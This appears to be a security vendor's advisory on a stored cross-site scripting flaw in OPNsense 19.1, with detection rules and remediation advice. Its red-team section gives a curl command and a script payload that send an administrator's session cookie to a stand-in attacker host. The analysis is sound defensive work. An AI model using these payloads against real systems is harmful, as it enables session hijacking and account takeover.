CVE-2019-25369

Executive Summary

CVE-2019-25369 is a stored cross-site scripting (XSS) vulnerability in OPNsense version 19.1, specifically within the system_advanced_sysctl.php endpoint. An attacker with low-privileged access can inject persistent JavaScript payloads via the tunable parameter. When an authenticated administrator views the affected page, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the OPNsense web interface.

This vulnerability is classified as a Stored XSS (CWE-79) and is exploitable without requiring high privileges, though user interaction (viewing the page) is necessary. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk remains for targeted attacks against OPNsense deployments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid low-privilege account.
• User Interaction (UI): Required (R) – Victim must view the vulnerable page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires authenticated access and user interaction, but the stored nature increases persistence and potential for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the system_advanced_sysctl.php endpoint, which allows authenticated users to manage kernel tunables. The tunable parameter is not properly sanitized before being stored in the system configuration. When the page is rendered, the unsanitized input is embedded directly into the HTML, allowing arbitrary JavaScript execution.

Attack Flow:

1. Attacker logs into OPNsense with a low-privilege account.
2. Attacker sends a POST request to /system_advanced_sysctl.php with a malicious payload in the tunable parameter (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the system configuration database.
4. When an administrator (or any user) navigates to the same page, the payload executes in their browser context.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

Root Cause: Lack of output encoding and input validation on the tunable parameter. The application fails to escape HTML special characters before rendering.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1):

// system_advanced_sysctl.php (simplified)
$tunable = $_POST['tunable'];
// No sanitization
$config['system']['tunable'][] = $tunable;
// Later rendered without escaping
echo "<input name='tunable' value='$tunable'>";

Patched Code (Hypothetical Fix):

// system_advanced_sysctl.php (patched)
$tunable = htmlspecialchars($_POST['tunable'], ENT_QUOTES, 'UTF-8');
// Validate input (e.g., allow only alphanumeric and specific characters)
if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $tunable)) {
    $config['system']['tunable'][] = $tunable;
} else {
    // Reject invalid input
    error_log("Invalid tunable input: " . $tunable);
}
// Output with escaping
echo "<input name='tunable' value='" . htmlspecialchars($tunable, ENT_QUOTES, 'UTF-8') . "'>";

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• OPNsense 19.1 instance (e.g., virtual machine)
• Low-privilege user credentials (e.g., user:password)

Exploit Steps:

1. Authenticate to OPNsense web interface.
2. Send a POST request with a malicious payload:

curl -X POST \
  -c cookies.txt -b cookies.txt \
  -d "tunable=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" \
  "http://target.opnsense/system_advanced_sysctl.php"

3. Wait for an administrator to view the page, or trigger it yourself.
4. The payload executes, sending the admin's session cookie to your server.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for suspicious POST requests to /system_advanced_sysctl.php containing script tags or unusual characters.
2. Deploy a Web Application Firewall (WAF) rule to block requests with <script> or onerror patterns in the tunable parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly audit system configuration for unexpected tunable entries.

Lab Setup for Testing:

• Use a local OPNsense 19.1 VM (e.g., from OPNsense archives).
• Configure a low-privilege user and test the exploit.
• Monitor with Burp Suite or OWASP ZAP to observe the attack.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /system_advanced_sysctl.php with tunable parameter containing <script>, onerror, or base64-encoded JavaScript.
  • Outbound connections to unknown domains from the OPNsense web interface (e.g., attacker.com).

• Host IOCs:

  • Unexpected entries in /usr/local/etc/config.xml under <tunable> tags containing JavaScript.
  • Modified system_advanced_sysctl.php file (if attacker gained write access).

• Log IOCs:

  • Web server logs showing POST /system_advanced_sysctl.php with tunable=<script>.
  • Browser console errors related to CSP violations (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2019_25369_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in OPNsense config files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25369"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $tunable_tag = "<tunable>"
    condition:
        $tunable_tag and $xss_payload
}

Sigma Rule

title: OPNsense Stored XSS via system_advanced_sysctl.php
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to system_advanced_sysctl.php with script payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: /system_advanced_sysctl.php
        cs-uri-query|contains: "tunable="
    keywords:
        - "<script"
        - "onerror="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in tunable (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25369 OPNsense Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/system_advanced_sysctl.php"; http_uri;
    content:"tunable="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25369;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OPNsense to a version newer than 19.1 (e.g., 19.7 or later) that includes input sanitization.
2. If upgrade is not possible, manually apply input validation and output encoding to system_advanced_sysctl.php.
3. Restrict access to the web interface using firewall rules (allow only trusted IPs).
4. Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Long-Term Fixes:

• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Conduct regular security audits of OPNsense configurations.
• Enforce principle of least privilege for user accounts.

Patch Details: No official patch from OPNsense for version 19.1. Users must upgrade to a supported version (e.g., 19.7 or later) where input sanitization is implemented.

Valters IT